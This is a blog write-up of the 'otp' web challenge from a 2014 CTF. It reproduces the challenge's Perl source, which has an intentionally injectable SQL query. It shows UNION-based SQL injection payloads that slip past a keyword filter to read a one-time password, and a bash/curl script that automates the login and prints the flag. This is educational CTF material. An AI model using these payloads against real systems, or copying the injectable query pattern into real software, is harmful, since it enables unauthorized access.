The Swappage Playground

Because in the end, what does matter is having fun.

Advent 2014 Day 21 : Otp

otp was a nice (and painful) web challenge in the advent calendar CTF 2014.

We were provided with the source code of the web application and with an URL: the objective was to successfully login to the web site to get the flag.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
#!/usr/bin/env perl
use Mojolicious::Lite;
use DBI;

my $dbh = DBI->connect(
    'dbi:SQLite:dbname=./otp.db', '', '',
    +{
        RaiseError     => 1,
        sqlite_unicode => 1,
    }
);
app->helper(dbh => sub { $dbh });

get '/' => sub {
    my $c = shift;
    my ($token, $pass) = gen_otp();
    my $expire = time() + 10;
    $c->dbh->do('INSERT INTO otp VALUES (?, ?, ?)', undef, $token, $pass, $expire);
    $c->render('index', token => $token);
};

post '/' => sub {
    my $c = shift;
    my $token = $c->req->param('token');
    # tiny firewall, but powerful :P
    if ($token =~ /sqlite/i) {
        $c->render('error', message => "no hack.");
        return;
    }
    my $time = time();
    my ($expire) = $c->dbh->selectrow_array(
        "SELECT ###CENSORED### FROM otp WHERE ###CENSORED### = '$token' AND ###CENSORED### < $time",
    );
    if ($expire) {
        $c->render('error', message => "otp expired at $expire");
    } else {
        my $pass = $c->req->param('pass');
        my ($ok) = $c->dbh->selectrow_array(
            'SELECT 1 FROM otp WHERE ###CENSORED### = ? AND ###CENSORED### = ?', undef, $token, $pass,
        );
        $c->render('auth', ok => $ok);
    }
    $c->dbh->do(
        'DELETE FROM otp WHERE ###CENSORED### = ?', undef, $token
    );
};

sub gen_otp {
    open my $fh, '<:raw', '/dev/urandom' or die $!;
    read $fh, my $token, 8;
    $token = unpack 'H*', $token;
    read $fh, my $pass, 16;
    $pass = unpack 'H*', $pass;
    return ($token, $pass);
}

app->start;
__DATA__

@@ index.html.ep
% layout 'default';
% title 'OTP';

<form method="POST">
  <input type="hidden" name="token" value="<%= $token %>" />
  <input type="text" name="pass" />
  <input type="submit" value="auth" />
</form>

@@ auth.html.ep
% layout 'default';
% title 'Authentication | OTP';

% if ($ok) {
<p>authentication succeeded.<br />the flag is: ###CENSORED###</p>
% } else {
<p>authentication failed.</p>
% }

@@ error.html.ep
% layout 'default';
% title 'Error | OTP';

<p><%= $message %></p>

@@ layouts/default.html.ep
<!DOCTYPE html>
<html>
  <head>
    <title><%= title %></title>
  </head>
  <style>
body, input {
  color: #fff;
  background: #333;
  font-family: monospace;
  font-size: 150%;
}
.container {
  width: 100%;
  margin-top: 50px;
  text-align: center;
}
  </style>
  <body>
<div class="container">
<%= content %>
</div>
  </body>
</html>

To log in the web application we need to submit a password, paired with the token we are provided as an hidden field in the form, and this pair of credentials is valid for 10 seconds: if the token has expired we won’t be able to log in, so what we need to do is to find a way to generate a token and exfiltrate the password generated by the application for that specific token, before it expires.

As it’s possible to observe from the source code, the query at line 31 is dynamic, so it’s possible to perform a SQL injection attack against the application.

By sending a tampered token value in the POST request, it’s possible to notice that we are facing a union based injection attack: infact if we send something like this:

token=' UNION SELECT 1;

we would be presented with the following output in the web page

1
<p>otp expired at 1</p>

It would at this point be easy to enumerate the database structure, tables and columns to exfiltrate some valid data, but it would have been too easy; at line 25 we can see

1
2
3
4
    if ($token =~ /sqlite/i) {
    $c->render('error', message => "no hack.");
    return;
}

which makes this challenge a real pain. Infact, as the comment suggets, this is a really tiny yet powerful firewall, because to enumerate the database, we’d need to access the sqlite_master table, where metadata about table structure are stored, but guess what? this is filtered and we cant.

So, no table enumeration: we need to find an alternative way to exfiltrate a valid password to log in.

I’m not that good at sql injection attacks, and in fact it took me a while to figure this out, but after a lot of trial and error i learned that column names are not needed to read data from them

I’ve tried the following injection query and eventually it resulted in the last generated password correctly exfiltrated.

token=' UNION SELECT pass FROM (SELECT 1 AS expire, 2 AS pass, 3 AS token UNION SELECT * FROM otp order by token desc LIMIT 0,1);
1
<p>otp expired at 1bffa01d220d8d69f102dc08b07ba199</p>

now all i needed was to be fast enaugh to exfiltrate a valid password and login within 10 seconds.

bash and curl came to the rescue, i put togeder this dirty and terrible script that helped me to login and get the flag

1
2
3
4
5
6
7
8
9
#!/bin/bash

TOKEN=$(curl http://otp.adctf2014.katsudon.org | grep input | grep token | awk -F '"' '{print $6}')
PASS=$(curl http://otp.adctf2014.katsudon.org -d "token=' UNION SELECT pass FROM (SELECT 1 AS expire, 2 AS pass, 3 AS token UNION SELECT * FROM otp order by token desc LIMIT 0,1);&pass=" | grep expired | awk -F ' ' '{print $4}' | awk -F '<' '{print $1}')

echo $TOKEN
echo $PASS

curl http://otp.adctf2014.katsudon.org -d "token=$TOKEN&pass=$PASS"
1
<p>authentication succeeded.<br />the flag is: ADCTF_all_Y0ur_5CH3ma_ar3_83L0N9_t0_u5</p>

Comments